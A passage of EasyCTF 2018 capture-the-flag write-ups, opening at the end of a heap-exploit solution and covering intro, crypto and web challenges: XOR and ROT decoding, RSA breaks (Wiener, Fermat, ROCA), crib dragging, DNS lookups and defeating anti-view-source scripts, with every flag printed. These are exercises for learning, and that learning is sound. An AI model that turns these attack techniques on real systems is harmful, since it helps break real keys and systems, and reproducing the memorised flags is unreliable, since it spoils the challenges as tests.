if ((ans ^ 0xDEADBEEF) == 0xDEADBEAF) {
success = 0xC001B4B3;
}
}
Reversing the equation, we get,
>>> 0xDEADBEAF ^ 0xDEADBEEF
64
and since the code responsible for calling the function throws in the page number as the argument,
i = 1;
curr_ch = fanfic->first_chapter;
while (curr_ch != NULL) {
curr_ch->print_ch(i, curr_ch);
curr_ch = curr_ch->next_chapter;
i++;
}
We just simply need to make this the 64th page. With validate()
successfully called on the 64th page, we can then call give_flag()
on the 65th page. Now, just simply pipe the script to our exploitable fan fiction program!
user55221@shell:~$ cd /problems/fanfic
user55221@shell:/problems/fanfic$ ~/solve.py | /problems/fanfic/fanfic
Please enter the title of your brand new fanfic: You have started writing the fanfic 'A'. Please select an option to get started!
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Adding new chapter
Enter chapter title: Enter chapter contents: 1. Edit chapter
2. Delete chapter
3. Publish fanfic
[...]
> Enter chapter number to edit: Adding new chapter
Enter chapter title: Enter chapter contents: 1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Editing chapter
Enter new chapter text:
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Editing chapter
Enter new chapter text:
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Fanfic published! Here it is:
===============
A
===============
---------------
Chapter 1: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[...]
---------------
Chapter 62: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
---------------
Chapter 63: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
easyctf{h34p_expl01ts_ru1n1ng_my_f4nf1cs}
Therefore, the flag is easyctf{h34p_expl01ts_ru1n1ng_my_f4nf1cs}
.
EasyCTF_2018: Markov's Bees
Category: Linux Points: 80 Description:
Head over to the shell and see if you can find the flag at /problems/markovs_bees/ !
Write-up
A really simple challenge involving grep
,
$ grep -R easyctf /problems/markovs_bees/
/problems/markovs_bees/c/e/i/bee913.txt:easyctf{grepping_stale_memes_is_fun}
Therefore, the flag is easyctf{grepping_stale_memes_is_fun}
.
EasyCTF_2018: Web
Category: Intro Points: 10 Description:
The web goes well beyond the surface of the browser! Warm up your web-sleuthing skills with this challenge by finding the hidden flag on this page!
Write-up
Another simple introductory challenge,
root@ctf:~# curl https://cdn.easyctf.com/048c63edc2ffec871a3e3a8dce341e9f5c1493372734a429a5603ad0853f73c6_index.html
<!doctype html>
<html>
<head>
<style>
body { font-family: sans-serif; padding-left: 30px; padding-top: 15px; }
</style>
</head>
<body>
<h1>Welcome to EasyCTF!</h1>
<p>The flag is just below:</p>
<!-- easyctf{hidden_from_the_masses_2978fa} -->
</body>
</html>
Therefore, the flag is easyctf{hidden_from_the_masses_2978fa}
.
EasyCTF_2018: The Oldest Trick In the book
Category: Intro Points: 10 Description:
This is literally one of oldest tricks in the book. To be precise, from the year AD 56. Crack me. wskqulx{o3du0e3_70_345qu7x_97wxww}
Write-up
This one is also dead simple, simply use a site like theblob and get all the possible ROT permutations. We see that at ROT-8, we get our flag!
ROT-0: wskqulx{o3du0e3_70_345qu7x_97wxww}
ROT-1: xtlrvmy{p3ev0f3_70_345rv7y_97xyxx}
ROT-2: yumswnz{q3fw0g3_70_345sw7z_97yzyy}
ROT-3: zvntxoa{r3gx0h3_70_345tx7a_97zazz}
ROT-4: awouypb{s3hy0i3_70_345uy7b_97abaa}
ROT-5: bxpvzqc{t3iz0j3_70_345vz7c_97bcbb}
ROT-6: cyqward{u3ja0k3_70_345wa7d_97cdcc}
ROT-7: dzrxbse{v3kb0l3_70_345xb7e_97dedd}
ROT-8: easyctf{w3lc0m3_70_345yc7f_97efee}
ROT-9: fbtzdug{x3md0n3_70_345zd7g_97fgff}
ROT-10: gcuaevh{y3ne0o3_70_345ae7h_97ghgg}
ROT-11: hdvbfwi{z3of0p3_70_345bf7i_97hihh}
ROT-12: iewcgxj{a3pg0q3_70_345cg7j_97ijii}
ROT-13: jfxdhyk{b3qh0r3_70_345dh7k_97jkjj}
ROT-14: kgyeizl{c3ri0s3_70_345ei7l_97klkk}
ROT-15: lhzfjam{d3sj0t3_70_345fj7m_97lmll}
ROT-16: miagkbn{e3tk0u3_70_345gk7n_97mnmm}
ROT-17: njbhlco{f3ul0v3_70_345hl7o_97nonn}
ROT-18: okcimdp{g3vm0w3_70_345im7p_97opoo}
ROT-19: pldjneq{h3wn0x3_70_345jn7q_97pqpp}
ROT-20: qmekofr{i3xo0y3_70_345ko7r_97qrqq}
ROT-21: rnflpgs{j3yp0z3_70_345lp7s_97rsrr}
ROT-22: sogmqht{k3zq0a3_70_345mq7t_97stss}
ROT-23: tphnriu{l3ar0b3_70_345nr7u_97tutt}
ROT-24: uqiosjv{m3bs0c3_70_345os7v_97uvuu}
ROT-25: vrjptkw{n3ct0d3_70_345pt7w_97vwvv}
Therefore, the flag is ROT-8: easyctf{w3lc0m3_70_345yc7f_97efee}
.
EasyCTF_2018: Hello, World!
Category: Intro Points: 10 Description:
Using your favorite language of choice, print Hello, world! to the output. For Python, consider the print function. For Java, consider System.out.println. For CXX, consider including stdio.h and using the printf function.
Write-up
A really braindead one, the solution is just,
print("Hello, world!")
Therefore, there is no flag.
EasyCTF_2018: Hashing
Category: Intro Points: 20 Description:
Cryptographic hashes are pretty cool! Take the SHA-512 hash of this file, and submit it as your flag.
Write-up
Really simple too, just use sha512sum
on Linux,
# sha512sum sha512.png
418a53d3e4c8239d7c861ad2836e4b6b4488a8ef3327b4783e42b7f074d414f5a95e7db14ebe5177354ec58dadb5377e5248fda3b9a11edc8362b58a5c38d896 sha512.png
Therefore, the flag is 418a53d3e4c8239d7c861ad2836e4b6b4488a8ef3327b4783e42b7f074d414f5a95e7db14ebe5177354ec58dadb5377e5248fda3b9a11edc8362b58a5c38d896
.
EasyCTF_2018: Reverse Engineering
Category: Intro Points: 30 Description:
What does this Python program do? And more specifically, what input would give this output? 6538c2937cc3bb20c3983ac2ab4901c38fc297161fc2a6c3b3c281c28107c2a7c2a03fc3956ec3b55350
Write-up
This one was a simple one as well, just with a twist of UTF-8
. Solving this is just knowing that XOR operations are entirely reversable and therefore, we just have to input our output back in to get our input.
cipher = b"6538c2937cc3bb20c3983ac2ab4901c38fc297161fc2a6c3b3c281c28107c2a7c2a03fc3956ec3b55350"
def unmystery(s):
r = ""
for i, c in enumerate(s):
r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
return r
print(unmystery(binascii.unhexlify(cipher).decode("utf-8")))
The full script is available here.
root@ctf:~/downloads# ./mystery.py
easyctf{char_by_char_41d6D3}
Therefore, the flag is easyctf{char_by_char_41d6D3}
.
EasyCTF_2018: Netcat
Category: Intro Points: 20 Description:
I've got a little flag for you! Connect to c1.easyctf.com:12481 to get it, but you can't use your browser! (Don't know how to connect? Look up TCP clients like Netcat. Hint: the Shell server has Netcat installed already!) Here's your player key: 391834438. Several challenges might ask you for one, so you can get a unique flag!
Write-up
Simple challenge, just use netcat, or nc
.
root@ctf:~# nc c1.easyctf.com 12481
enter your player key: 391834438
thanks! here's your key: easyctf{hello_there!_94A17F16678CeCA3}
Therefore, the flag is easyctf{hello_there!_94A17F16678CeCA3}
.
EasyCTF_2018: Linux
Category: Intro Points: 10 Description:
Log into the shell server! You can do this in your browser by clicking on the Shell server link in the dropdown in the top right corner, or using an SSH client by following the directions on that page. Once you've logged in, you'll be in your home directory. We've hidden something there! Try to find it. :)
Write-up
Another simple challenge, involving SSH.
root@ctf:~# ssh [email protected]
The authenticity of host 's.easyctf.com (165.227.212.254)' can't be established.
ECDSA key fingerprint is SHA256:CNCQb5MB2MSas+mn3naxQUK0U6diDChNC5Des+902ME.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 's.easyctf.com,165.227.212.254' (ECDSA) to the list of known hosts.
[email protected]'s password:
______ _____ _______ ______
| ____| / ____|__ __| ____|
| |__ __ _ ___ _ _| | | | | |__
| __| / _` / __| | | | | | | | __|
| |___| (_| \__ \ |_| | |____ | | | |
|______\__,_|___/\__, |\_____| |_| |_|
__/ |
|___/
Welcome to EasyCTF IV's Shell server!
== Questions? Bugs? Let us know on Discord ==
== https://discord.gg/UxCJxf4 ==
Rules:
1. If you aren't sure if you should be doing
something, ask an organizer or don't do
it.
2. Be nice to people.
If there's any software that you'd like to have
installed, let one of the organizers know on
Discord!
Last login: Sun Feb 11 03:03:52 2018 from 173.245.48.85
Doing a bit of sleuthing, we find a hidden file .flag
.
user55221@shell:~$ ls -lah
total 28K
drwx------ 3 user55221 ctfuser 4.0K Feb 11 03:04 .
drwxr-xr-x 61 root root 4.0K Feb 11 03:05 ..
-rw-r--r-- 1 user55221 ctfuser 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 user55221 ctfuser 3.7K Aug 31 2015 .bashrc
drwx------ 2 user55221 ctfuser 4.0K Feb 11 03:04 .cache
-rw-r--r-- 1 user55221 ctfuser 0 Feb 7 13:52 .cloud-locale-test.skip
-rw-r--r-- 1 user55221 ctfuser 41 Feb 7 13:41 .flag
-rw-r--r-- 1 user55221 ctfuser 655 May 16 2018 .profile
Next, just cat
it!
user55221@shell:~$ cat .flag
easyctf{i_know_how_2_find_hidden_files!}
Therefore, the flag is easyctf{i_know_how_2_find_hidden_files!}
.
EasyCTF_2018: Soupreme Encoder
Category: Crypto Points: 20 Description:
Decode this
68657869745f6d6174655f6662623461303034636232313632383661396231
Write-up
This challenge is also really simple after recognizing the presence of ASCII characters encoded in hexadecimal. As I'm a really fancy and posh person, I resort to using rax2
from radere2
to convert this but any hexadecimal to ASCII converter will do the same!
root@ctf:~# rax2 -s 68657869745f6d6174655f6662623461303034636232313632383661396231
hexit_mate_fbb4a004cb216286a9b1
Therefore, the flag is hexit_mate_fbb4a004cb216286a9b1
.
EasyCTF_2018: RSA_v
Category: Cryptography Points: 200 Description:
Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... rsa.txt.
Write-up
This challenge revolves around the underlying principle of RSA and how encrypting a message 5 times with increasing exponents ultimately leads to complete confidentiality exploitation. The very base of the formula goes along something like this,
c = m^e mod n
However, by encrypthing it multiple times with the same n
but differing e
you get,
c1 = m^e1 mod n
c2 = c1^e2 mod n
c3 = c2^e3 mod n
c4 = c3^e4 mod n
c5 = c4^e5 mod n
Which when compiled looks like
c5 = ((((m^e1)^e2)^e3)^e4)^e5 mod n
As powers simply multiply up, where 2^(3^2)
is just 2^6
, we can calculate the effective e
.
e = e1 * e2 * e3 * e4 * e5
= 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
Now that we have the effective e
we can produce our proper challenge,
e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469
c = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120
e
seems like a really big number, similar to smallRSA of PicoCTF, let's try the same exploit, using Wiener's Attack, as we used back then! Literally ripped almost the same script from back then.
# ./solve.py
easyctf{keblftftzibatdsqmqotemmty}
Therefore, the flag is easyctf{keblftftzibatdsqmqotemmty}
.
EasyCTF_2018: Souper Large Primes
Category: Cryptography Points: Description:
Technically I used strong primes. But are they really strong in this case? They are big, but there might still be an issue here. n.txt e.txt c.txt.
Write-up
This challenge was relatively simple, except that it required a bit of tweaking to actually decrypt the mesage in time. Firstly, the values of p
and q
was easily factored with the help of Fermat's algorithm, particularly using the attackrsa tool.
# attackrsa -t fermat -n $(cat n.txt)
====== Cracked! =======
p is 0x42178a3d54[...]
q is 0x42178a3d53[...]
After getting p
and q
, we can easily calculate d
with gmpy2
but instead of going that route, I chose to use CRT to decrypt the message. Even with CRT, it took my Macbook a good 20-30 minutes to decrypt the message. Lame.
# Use CRT to decrypt
dp = gmpy2.invert(e, (p-1))
dq = gmpy2.invert(e, (q-1))
qinv = gmpy2.invert(q, p)
# Get message
m1 = gmpy2.powmod(c, dp, p)
m2 = gmpy2.powmod(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
With that, quickly formulate a Python script to crack our message for us.
# ./solve.py
110010101100001011100110111100101100011011101000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101
# rax2 -b 110010101100001011100110111100101100011011101000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101
???????????`?ξ????f??`??`????```??
Our m
was this weird string of numbers, maybe it's binary? Well, decoding it from binary proved fruitless, let's add a 0
in front of it.
# rax2 -b 011001010110000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101
easyctf{Str0ng_prim3s_n0t_s0_str000ng}
Therefore, the flag is easyctf{Str0ng_prim3s_n0t_s0_str000ng}
.
EasyCTF_2018: Hidden Key
Category: Cryptography Points: 250 Description:
Ugh, another RSA problem? Help me decrypt this message please file.
Write-up
This challenge was way too simple for a 250 point challenge. From the start we are given 4 variables, n
, e
, c
and 2d+phi(n)
. Well, there's a problem right there. d
is derived from e^-1 mod(phi(n))
and 2d
is just 2e^-1 mod(phi(n))
. If you add phi(n)
to any equation with a mod(phi(n))
, it would simply get modulo-ed and wrap around having no effect. As such, our 2d+phi(n)
is just 2d
. To get d
, just divide by 2
.
# 2d+phi(n)=37732317402097892656548210368059150520715311244186827321460515339110825509994606476441219328574059681654107935415953369600005791889525955066919184173730927777542439132137456187316767857542892181069605145389028008447003177489965519989581906591202747002126347010093645064766054828212106925552838747800759084251589866089273026254966234164176466563186438248776961541146620434009503689100128122320997739428424975306256417865610162074912031638292878093662018512614000114412433772628503843778614582386663028723327141014781803346402661832265806675785945746391801332346416280561063520342062390151626459813123281193179325458386
s = 37732317402097892656548210368059150520715311244186827321460515339110825509994606476441219328574059681654107935415953369600005791889525955066919184173730927777542439132137456187316767857542892181069605145389028008447003177489965519989581906591202747002126347010093645064766054828212106925552838747800759084251589866089273026254966234164176466563186438248776961541146620434009503689100128122320997739428424975306256417865610162074912031638292878093662018512614000114412433772628503843778614582386663028723327141014781803346402661832265806675785945746391801332346416280561063520342062390151626459813123281193179325458386
# Calculate d
d = s // 2
Now we can just decrypt the message using Python.
# ./hidden-key.py
easyctf{1n1n77n9x2db57dqbk}
Therefore, the flag is easyctf{1n1n77n9x2db57dqbk}
.
EasyCTF_2018: Not OTP
Category: Cryptography Points: 100 Description:
It seems we've intercepted 2 strings that were both encrypted with what looks like OTP! Is it possible to decrypt them? file
Write-up
This challenge was physically and mentally the worst of all challenges. Essentially, the OTP used has been used twice. By XOR-ing both strings together, we effectively remove the presence of the OTP key. So, to decrypt the message, we need to do dragcribbing using a tool.
The hardest part about this challenge is guessing that crib
was in reference to cribbing
in reference to Known-Plaintext Attack
. Other than that, this challenge is essentially a guessing game.
# ./cribdrag.py 0b071b0512440400024106001614001d06490448001048540a04421a00105216184516045c493a0f450d4802154e590e195318491e09460b1756111d00065516121e514c034c0e0100191f410c0f071c1b00460e1c11147f1d1a503c0c1654002d01135f0e141a
Your message is currently:
0 hurgadergaderg this is the secret string
40 that you will never guess! flag is easy
80 ctf{otp_ttp_cr1b_dr4gz}
Your key is currently:
0 cribs are beds in which babies sleep. Th
40 ey can also refer to a sample of plainte
80 xt used in codebreaking
Therefore, the flag is easyctf{otp_ttp_cr1b_dr4gz}
.
EasyCTF_2018: Keyed Xor
Category: Cryptography Points: 100 Description:
A flag has been encrypted using keyed xor. Can you decrypt it? File. The key was created by taking two words from this wordlist.
Write-up
This challenge was one of the harder challenges in this CTF but once you understand the logic, the challenge can be broken down into two parts, each for finding the both words. The first part in this is to understand that our flag has a standard format of easyctf{xxxx}
, thus, we can take advantage of the two-way XOR encryption to look for the first word first.
By encrypting our encrypted data with a cycled key of easyctf{
, we get
# ./xor.py
drivell
Looking it up in the wordlist, we get the word drivelling
. Wonderful, we've essentially square-rooted our time to solve this challenge and thus we can move on to quickly guessing our second word. This part is easily solved with attention, tenacity and scripting.
# ./solve.py
easyctf{flagflagflagflagswrugdyiitwsfffyjjmdysukuiqdoqrxzamyhbbhboyfiesoyu}
Therefore, the flag is easyctf{flagflagflagflagswrugdyiitwsfffyjjmdysukuiqdoqrxzamyhbbhboyfiesoyu}
.
EasyCTF_2018: xor
Category: Cryptography Points: 50 Description:
A flag has been encrypted using single-byte xor. Can you decrypt it? File.
Write-up
As a single-byte xor, this challenge is much more easily solved with a simple Python script.
for i in range(255):
plaintext = ""
for c in data:
plaintext += chr(c ^ i)
if "easyctf" in plaintext:
print(plaintext)
Full script available here.
root@ctf:~/downloads# ./solve.py
easyctf{nsbtbzlfudpixosinwqfckqrx}
Therefore, the flag is easyctf{nsbtbzlfudpixosinwqfckqrx}
.
EasyCTF_2018: RSA Returns
Category: Cryptography Points: 400 Description:
It's the return of everyone's favorite cryptosystem! Crack it for another flag. Help me decipher file.
Write-up
This challenge reeks of ROCA and even signature checks confirmed it. However, there were no PoCs for ROCA. Instead, I came across NECA. I love open source.
$ ./neca 8729581225262922855975327965201482091621603739716646047811615593091116970536029316597901441665882719811658068143200342813247447157083464709878924070575467
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder ([email protected])
*** Currently only 512-bit keys are supported ***
*** OpenMP support enabled ***
N = 8729581225262922855975327965201482091621603739716646047811615593091116970536029316597901441665882719811658068143200342813247447157083464709878924070575467
Factoring...
[= ] 5.40% elapsed: 92s left: 1610.35s total: 1702.36s
Factorization found:
N = 98156620780003086692513114529458599425385116396074158691207247964958060681783 * 88935225722861812850195157838313383408060631426601900565225384215559424240749
Now that we have our factors, just simply decrypt c
$ ./solve.py
easyctf{kmwmv8wnhnap5old1p}
Therefore, the flag is easyctf{kmwmv8wnhnap5old1p}
.
EasyCTF_2018: Substitute
Category: Crypto Points: 50 Description:
Nobody can guess this flag! msg.txt
Write-up
We are given a cryptic message that we are supposed to solve using substitution cipher. Thankfully, quipqiup exists.
FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.
becomes
YO! NICEBOWLOFSOUP JUST MADE A NEW FLAG FOR THE CTF AND IS TOTALLY PROUD OF ITS INGENUITY. THIS IS ALSO THE SECOND PROBLEM EVER MADE FOR EASYCTF. HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.
Therefore, the flag is EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS}
.
EasyCTF_2018: RSA_v
Category: Cryptography Points: 200 Description:
Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... rsa.txt.
Write-up
This challenge revolves around the underlying principle of RSA and how encrypting a message 5 times with increasing exponents ultimately leads to complete confidentiality exploitation. The very base of the formula goes along something like this,
c = m^e mod n
However, by encrypthing it multiple times with the same n
but differing e
you get,
c1 = m^e1 mod n
c2 = c1^e2 mod n
c3 = c2^e3 mod n
c4 = c3^e4 mod n
c5 = c4^e5 mod n
Which when compiled looks like
c5 = ((((m^e1)^e2)^e3)^e4)^e5 mod n
As powers simply multiply up, where 2^(3^2)
is just 2^6
, we can calculate the effective e
.
e = e1 * e2 * e3 * e4 * e5
= 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
Now that we have the effective e
we can produce our proper challenge,
e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469
c = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120
e
seems like a really big number, similar to smallRSA of PicoCTF, let's try the same exploit, using Wiener's Attack, as we used back then! Literally ripped almost the same script from back then.
# ./solve.py
easyctf{keblftftzibatdsqmqotemmty}
Therefore, the flag is easyctf{keblftftzibatdsqmqotemmty}
.
EasyCTF_2018: In Plain Sight
Category: Web Points: 70 Description:
I've hidden a flag somewhere at this site... can you find it?
Write-up
Easily solved with the help of DNS.
$ dig TXT blockingthesky.com
; <<>> DiG 9.8.3-P1 <<>> TXT blockingthesky.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3137
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;blockingthesky.com. IN TXT
;; ANSWER SECTION:
blockingthesky.com. 29 IN TXT "_globalsign-domain-verification=kXlECiyonFE_qsQR-8ki6BOIdVru3bzxpwMDZr334_"
blockingthesky.com. 29 IN TXT "easyctf{betcha_wish_you_could_have_used_ANY}"
;; Query time: 88 msec
;; SERVER: 192.168.144.1#53(192.168.144.1)
;; WHEN: Sun Feb 11 15:49:37 2018
;; MSG SIZE rcvd: 180
Therefore, the flag is easyctf{betcha_wish_you_could_have_used_ANY}
.
EasyCTF_2018: NoSource
Category: Web Points: 250 Description:
All you CTFers are sure getting on my nerves with your source-viewing and developer tools-ing! Alas, despite my best wishes, the experienced programmers on the wonderful website StackOverflow tell me that it's impossible to keep you from looking at the HTML. But a disable right click script certainly won't stop an experienced CTFer like you! So finding the flag in the source of this problem should be no trouble, right?
Write-up
Essentially, the crux of this problem is that no developer's console could ever save you from the pain. To get around the problem of not having developer's console, I simply packet dumped my traffic and picked the packet containing the actual HTML page. What you end up getting is the source code!
<!-- Stop looking at the source code -->
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Stop looking at the source code</title>
<script class="delete">
var timeout = setTimeout(function () {
location.replace('/soupd?2');
}, 2000);
</script>
<link href="/static/css/bootstrap.min.css" rel="stylesheet">
<link href="/static/css/main.css" rel="stylesheet">
</head>
<body>
<main role="main" class="container">
<div class="starter-template">
<h1>Stop looking at the source code</h1>
<p class="lead">
Welcome to the problem page! Please enter the flag below.
</p>
<form id="flag-form">
<div class="form-group">
<input type="text" class="form-control" id="flag" placeholder="easyctf{">
</div>
<button type="submit" class="btn btn-success btn-lg">Check</button>
</form>
</div>
<script class="delete">
// Ah, old friend, we meet again...
function process(a, b) {
'use strict';
var len = Math.max(a.length, b.length);
var out = [];
for (var i = 0, ca, cb; i < len; i++) {
ca = a.charCodeAt(i % a.length);
cb = b.charCodeAt(i % b.length);
out.push(ca ^ cb);
}
return String.fromCharCode.apply(null, out);
}
(function () {
'use strict';
function soupd() {
document.documentElement.innerHTML = '';
location.replace('/soupd?2');
setInterval(function () {
location.replace('/soupd?12');
}, 100);
}
try {
let badNodes = document.getElementsByClassName('delete');
for (let i = 0; i < badNodes.length; i++) {
badNodes[i].parentNode.removeChild(badNodes[i]);
}
} catch (e) {}
try {
window.history.pushState({}, 'Stop looking at the source', '/');
} catch (e) {}
try {
var element = new Image('/static/img/soup.png');
Object.defineProperty(element, 'id', { get: function () {
soupd();
}});
eval("console.log('Stop looking at the source code%c', element);");
} catch (e) {}
var formEl = document.getElementById('flag-form');
var inputEl = document.getElementById('flag');
var func = "(function (e, v) { e.preventDefault() || " +
"alert(inputEl.value === process(this.prototype.flag, " +
"this.prototype.key) ? 'Your flag is correct!' : " +
"'Incorrect, try again.'); })";
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';
var p = { prototype: { flag: atob(f), key: 'heheheh!' }};
document.addEventListener('DOMContentLoaded', function () {
formEl.addEventListener('submit', eval(func).bind(p));
$('.delete').remove();
});
})();
</script>
</main>
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="/static/js/jquery-3.2.1.slim.min.js"></script>
<script src="/static/js/popper.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
<script class="delete">clearTimeout(timeout);</script>
</body>
</html>
The parts we want to focus more on is this two,
// Ah, old friend, we meet again...
function process(a, b) {
'use strict';
var len = Math.max(a.length, b.length);
var out = [];
for (var i = 0, ca, cb; i < len; i++) {
ca = a.charCodeAt(i % a.length);
cb = b.charCodeAt(i % b.length);
out.push(ca ^ cb);
}
return String.fromCharCode.apply(null, out);
}
and
var func = "(function (e, v) { e.preventDefault() || " +
"alert(inputEl.value === process(this.prototype.flag, " +
"this.prototype.key) ? 'Your flag is correct!' : " +
"'Incorrect, try again.'); })";
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';
var p = { prototype: { flag: atob(f), key: 'heheheh!' }};
document.addEventListener('DOMContentLoaded', function () {
formEl.addEventListener('submit', eval(func).bind(p));
$('.delete').remove();
});
So it appears we have the same thing going on in Jr. however unlike this time, you can't just use Chrome's developer console to evaluate your script, what next? Well, I happen to have TamperMonkey installed so this script sufficed!
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://c1.easyctf.com:12486/*
// @grant none
// ==/UserScript==
(function() {
'use strict';
// Your code here...
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';
var p = { prototype: { flag: atob(f), key: 'heheheh!' }};
alert(process(p.prototype.flag, p.prototype.key));
})();
Therefore, the flag is easyctf{wh0s_a_g00d_s0urc3_v13w3r?_YOU_ARE!}
.
EasyCTF_2018: NoSource, Jr.
Category: Web Points: 80 Description:
I don't like it when people try to view source on my page. Especially when I put all this effort to put my flag verbatim into the source code, but then people just look at the source to find the flag! How annoying. This time, when I write my wonderful website, I'll have to hide my beautiful flag to prevent you CTFers from stealing it, dagnabbit. We'll see what you're able to find...
Write-up
We are given a link to the site with 3 key ingredients. Firstly, the key,
window.encryptionKey = 'nosource';
Then, the flag,
var flag = 'Fg4GCRoHCQ4TFh0IBxENAE4qEgwHMBsfDiwJRQImHV8GQAwBDEYvV11BCA==';
Lastly, the function,
function process(a, b) {
'use strict';
var len = Math.max(a.length, b.length);
var out = [];
for (var i = 0, ca, cb; i < len; i++) {
ca = a.charCodeAt(i % a.length);
cb = b.charCodeAt(i % b.length);
out.push(ca ^ cb);
}
return String.fromCharCode.apply(null, out);
}
However, the key is not the key! Let's get the key in Python instead,
flag = base64.b64decode("Fg4GCRoHCQ4TFh0IBxENAE4qEgwHMBsfDiwJRQImHV8GQAwBDEYvV11BCA==")
plaintext = "easyctf"
for a, b in zip(flag, plaintext):
print(chr(a ^ ord(b)))
We get this weird output,
s
o
u
p
y
s
Could it be soupy
? Let's try it in our JS console again,
> process(atob(flag), encryptionKey)
"easyctf{congrats!_but_now_f0r_n0s0urc3_...}"
Therefore, the flag is easyctf{congrats!_but_now_f0r_n0s0urc3_...}
.
EasyCTF_2018: Digging For Soup
Category: Web Points: 150 Description:
Perhaps this time I'll have hidden things a little better... you won't find my flag so easily now! nicebowlofsoup.com
Write-up
A stupid challenge worth way too much. Initially, you find out that your usual TXT don't work,
$ dig TXT nicebowlofsoup.com
; <<>> DiG 9.8.3-P1 <<>> TXT nicebowlofsoup.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36765
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;nicebowlofsoup.com. IN TXT
;; ANSWER SECTION:
nicebowlofsoup.com. 80 IN TXT "Close, but no cigar... where else could it be?"
;; Query time: 35 msec
;; SERVER: 192.168.144.1#53(192.168.144.1)
;; WHEN: Mon Feb 12 03:37:36 2018
;; MSG SIZE rcvd: 95
A little bit of poking around later, you arrive at the stupidest solution of all,
$ dig TXT easyctf.nicebowlofsoup.com
; <<>> DiG 9.8.3-P1 <<>> TXT easyctf.nicebowlofsoup.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46658
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;easyctf.nicebowlofsoup.com. IN TXT
;; ANSWER SECTION:
easyctf.nicebowlofsoup.com. 299 IN TXT "easyctf{why_do_i_even_have_this_domain}"
;; Query time: 59 msec
;; SERVER: 192.168.144.1#53(192.168.144.1)
;; WHEN: Mon Feb 12 03:34:45 2018
;; MSG SIZE rcvd: 96
NINJA EDIT: After the challenge has been reworked, the solution requires the use of AXFR instead.
$ dig ns2.nicebowlofsoup.com
; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns2.nicebowlofsoup.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5587
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
